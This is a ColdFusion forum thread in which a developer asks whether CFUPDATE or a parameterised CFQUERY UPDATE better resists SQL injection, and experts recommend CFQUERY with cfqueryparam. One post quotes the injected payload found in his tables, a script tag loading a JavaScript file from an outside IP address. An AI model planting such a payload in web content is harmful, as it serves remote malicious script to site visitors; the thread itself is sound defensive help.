SQL Injection problem continues. Can I get your opinion about CFUPDATE vs. SQL UPDATE?

Hi. Thanks again to the many people who have helped me to understand more about secure coding practices.

My SQL Injection problem continues. Can I get your opinion about CFUPDATE vs. SQL UPDATE?


My INSERT file looks pretty solid:

  <!--- Insert values into database columns --->
      
      <cfquery datasource="ebwebwork" dbname="ebwebwork" name="createPage">
             
INSERT INTO cedarcreekbusinesssolutions (PageTitle, PageContent, DateCreated)
 VALUES(
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageTitle#">,
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageContent#">,
                <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
        )
</cfquery>
             

But, to update a page, I use the CFUPDATE procedure recommended in Ben Forta's CFWACK 8 book:

  <!--- Update values in database columns --->
<cfupdate datasource="ebwebwork" tablename="cedarcreekbusinesssolutions" formfields="PageTitle, PageContent" />

It is simple and, according to that I have read, safe.


But should I instead use:

  <!--- Update values in database columns --->
      
<cfquery datasource="ebwebwork" dbname="ebwebwork" name="UpdatePage">
UPDATE cedarcreekbusinesssolutions
SET PageTitle=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageTitle#">
      ,PageContent=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageContent#">
      ,DateCreated=<cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
WHERE PageID=<cfqueryparam value="#URL.PageID#" cfsqltype="cf_sql_integer">
</cfquery>
             

Which method is safer? CFUPDATE, or SQL UPDATE? Which would you use?

Do you see any places in the code above that I could make more secure?

Thanks for any advice!

Best from Eric
LVL 3
Eric BourlandAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

gdemariaCommented:
Personally, I always use CFQUERY and actually don't know any other developers (personally) who use CFUPDATE or CFINSERT

I like the control over building my own SQL statements
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
gdemariaCommented:
I thought the SQL injection part of the question was going to stay with the original question and this new question was going to be about the form errors you were getting.

Since this is about SQL injection, then we should first explore whether or not this really is SQL injection.

Can you show what code or information is getting inserted into your database?  

What is the scope of this information, do you find it in many tables and columns or just in one table/areas.

Thanks
0
Eric BourlandAuthor Commented:
>>>I thought the SQL injection part of the question was going to stay with the original question and this new question was going to be about the form errors you were getting.

I am working on formulating that new question. I have several questions / problems going on at once. =)

>>>Since this is about SQL injection, then we should first explore whether or not this really is SQL injection.

I really think it is. Every few hours, in several of my database tables, the column that follows the PK column gets erased, then each record in that column gets populated with:

</title><script src='http://94.102.52.27/urchin.js'></script>

... and if you google that, you will see that many other sites are showing it too. It also shows up in parts of my MangoBlog.

More soon .... thank you.
0
Cloud Class® Course: Microsoft Azure 2017

Azure has a changed a lot since it was originally introduce by adding new services and features. Do you know everything you need to about Azure? This course will teach you about the Azure App Service, monitoring and application insights, DevOps, and Team Services.

SidFishesCommented:
I've read conflicting info on whether cfupdate/cfinsert is known to be vulnerable to SQLi

"UPDATE: Since this post was made, newer SQL injection attacks have come to light, some of which could indeed get past <CFINSERT> and <CFUPDATE>. As such, my recommendation has changed, site security now demands the use of <CFQUERY> and <CFSTOREDPROC> instead of <CFINSERT> and <CFUPDATE>."
http://www.forta.com/blog/index.cfm/2006/10/3/Use-CFINSERT-And-CFUPDATE


"spoke to Mr Nimer, formally of Adobe, and he says cfupdate does indeed use bound parameters, so SQL injection would not be an issue. I'm surprised, but pleased that Adobe would ensure best practices there. This includes cfinsert as well."
http://www.coldfusionjedi.com/index.cfm/2006/8/9/Ask-a-Jedi-cfupdate-versus-cfquery

However if there is -any- doubt and there seems to be I would avoid it.

and I'll once more point to my rarely updated blog http://sidfishes.wordpress.com/2009/03/17/60/ which has some tips and tools you may find helpful.

0
Eric BourlandAuthor Commented:
>>>>http://sidfishes.wordpress.com/2009/03/17/60/

Sid, this is a great post! Thank you. I think I will switch to the CFQUERY method.

Eric
0
Eric BourlandAuthor Commented:
gdemaria and Sid,

this code works great:

<cfquery datasource="ebwebwork" dbname="ebwebwork" name="UpdatePage">
UPDATE cedarcreekbusinesssolutions
SET PageTitle=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageTitle#">
      ,PageContent=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageContent#">
      ,DateModified=<cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
WHERE PageID=<cfqueryparam value="#form.PageID#" cfsqltype="cf_sql_integer">
</cfquery>

Thank you very much.

I just learned something.

Sid -- great blog. I am reading it.

Moving on to next problem.

Very gratefully,

Eric
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
ColdFusion Language

From novice to tech pro — start learning today.